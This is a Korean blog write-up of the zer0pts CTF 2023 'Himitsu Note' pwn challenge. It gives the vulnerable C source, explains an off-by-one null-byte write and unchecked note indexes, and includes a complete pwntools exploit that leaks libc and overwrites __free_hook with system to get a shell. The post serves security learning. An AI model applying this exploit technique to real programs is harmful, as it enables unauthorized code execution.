Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[zer0pts CTF 2023] Himitsu Note 본문

Hack/CTF

[zer0pts CTF 2023] Himitsu Note

CIDY 2023. 7. 22. 01:14

mitigation

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NOTE_NUM  4
#define NOTE_SIZE 0x800

void print(const char *s) {
  if (write(STDOUT_FILENO, s, strlen(s)) <= 0)
    _exit(1);
}

void getstr(const char *s, char *buf, size_t len) {
  print(s);

  for (size_t i = 0; ; i++) {
    char c;
    if (read(STDIN_FILENO, &c, 1) <= 0)
      _exit(1);
    else if (c == '\n') {
      buf[i] = '\0';
      break;
    } else if (i < len) {
      buf[i] = c;
    }
  }
}

int getint(const char *s) {
  char buf[0x8] = { 0 };
  getstr(s, buf, sizeof(buf) - 1);
  return atoi(buf);
}

void main(void) {
  char *note_list[NOTE_NUM] = { NULL };
  print("--- Himitsu Note ---\n"
        "1. add\n"
        "2. edit\n");

  while (1) {
    int choice = getint("> ");
    switch (choice) {
      case 1: {
        unsigned int i = getint("index: ");
        if (!note_list[i]) {
          note_list[i] = (char*)malloc(NOTE_SIZE);
          print("[+] done\n");
        } else {
          print("[-] error\n");
        }
        break;
      }
      case 2: {
        unsigned int i = getint("index: ");
        getstr("data: ", note_list[i], NOTE_SIZE - 1);
        break;
      }
      default: {
        print("[+] bye\n");
        for (int i = 0; i < NOTE_NUM; i++)
          if (note_list[i])
            free(note_list[i]);
        memset(note_list, 0, sizeof(note_list));
        return;
      }
    }
  }
}

요즘 CTF특인지 포너블이 좀 어렵게 나오는 경향이 있는 것 같다. 특히 이번 CTF는 소스코드를 모두 제공해줬고 그 분량이 얼마 안 되는데도 좀 까다로웠던듯하다.

 

void getstr(const char *s, char *buf, size_t len) {
  print(s);

  for (size_t i = 0; ; i++) {
    char c;
    if (read(STDIN_FILENO, &c, 1) <= 0)
      _exit(1);
    else if (c == '\n') {
      buf[i] = '\0';
      break;
    } else if (i < len) {
      buf[i] = c;
    }
  }
}

우선 첫 번째 취약점은 getstr함수에서 발생한다. 일단 설계 자체가 조금 이상한게, 입력 자체의 길이를 제한하는 것이 아니고 입력은 엔터 전까지 무한정 받는데 길이에 부합하는 부분만 복사를 해 주겠다는 것이다.

 

그리고 마지막에 엔터 대신에 널 바이트를 끼워주는데, 그 부분에는 인덱스 검사가 없다. 즉 내가 원하는 곳에 널 바이트 하나를 임의로 넣을 수 있는 것이다.

 

그런데 그걸로 어떻게 릭을 하는지가 문제이다. 청크 할당 크기가 커서 unsorted bin등에 연결을 할 수는 있지만 출력함수가 하나도 없다. 그렇다고 실행 흐름을 바꿀 수 있는 무언가가 있지도 않고, 그냥 return하는 수밖에 없다.

 

그런데 return주소의 마지막 1바이트를 NULL로 만들어서 return시키면 다음과 같이 무엇인가 출력된다.

transferring control어쩌구.. 그리고 main을 다시 호출할 수 있게 된다.

 

위 사진은 내가 libc leak까지 해낸 그림인데, __libc_start_main의 흐름을 따라가보면 transferring control다음에 %s서식문자를 이용해서, main의 정리 전 rsp위치 + 0x48의 위치를 한 번 참조해 다시 그 주소를 %s로 출력하고 있었다.

 

따라서 우선 main종료 시 free되는 범위인 index 0 1 2 3 중 아무 곳에나 할당을 해서 첫 번째 메인 종료 시 main arena의 주소를 힙 영역에 남긴다. 그 다음 저 취약점으로 메인을 다시 돌아오면 어차피 힙정보는 그대로 유지되고, rsp + 0x48은 원래 idx 37이라는 또다른 스택 주소를 가리키고 있다. 따라서  rsp + 0x48위치가 가리키고 있는 idx = 37에 할당을 시키면, 이중 참조해서 %s 출력하니까 libc leak이 된다.

 

그럼 말도 안되게 libc leak은 했고 최종 익스는 어떻게 할 수 있을까? 이게 20.04라 hook overwrite가 된다. 

 

from pwn import *

def add(note_idx):
	p.sendlineafter("> ", str(1).encode())
	p.sendlineafter("index: ", str(note_idx).encode())

def edit(note_idx, data):
	p.sendlineafter("> ", str(2).encode())
	p.sendlineafter("index: ", str(note_idx).encode())
	p.sendlineafter("data: ", data)

def ret():
	p.sendlineafter("> ", str(3).encode())

p = remote("pwn.2023.zer0pts.com", 9003)
#p = process("./chall")
e = ELF("./chall")
libc = e.libc

mnull = b""
mnull += b"1"
mnull += b"\x00" * 0x4f
p.sendlineafter("> ", mnull)
p.sendlineafter("index: ", str(0).encode())
edit(9, b"\x00")
add(6)

ret()

mnull = b""
mnull += b"2"
mnull += b"\x00" * 0x4f
p.sendlineafter("> ", mnull)
p.sendlineafter("index: ", str(9).encode())
p.sendlineafter("data: ", b"\x00" * 7)
# stack = 0x7ffe32791900
# print = 0x7ffe32791948 idx = 9

add(37)
ret()

p.recvuntil(b"transferring control: ")
base = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00')) - 0x1ecbe0

print(hex(base))
binsh = base + next(libc.search(b"/bin/sh\x00"))
system = base + libc.sym['system']
free_hook = base + libc.sym['__free_hook']

edit(9, p64(free_hook))
edit(37, p64(system))
add(0)
edit(0, b"/bin/sh\x00")
ret()

p.interactive()

역시 마찬가지로 rsp + 0x48, idx = 9번에 스택을 가리키는 스택 주소가 있는 것을 이용했다. 그걸 이용해서 idx = 37위치에 free_hook을 적고, 그걸 edit해서 system으로 바꾸고, /bin/sh가 적힌 청크를 return하며 해제시키면 익스가 된다.

 

flag

'Hack > CTF' 카테고리의 다른 글

[LINE CTF 2021] bank  (0) 2023.08.03
[QWB CTF 2018] core  (0) 2023.07.26
[DanteCTF 2023] Write up  (2) 2023.06.05
[DEFCON CTF 2023 Qualifier] Open House(작성중)  (0) 2023.06.02
[TAMU CTF 2023] Write up  (2) 2023.05.08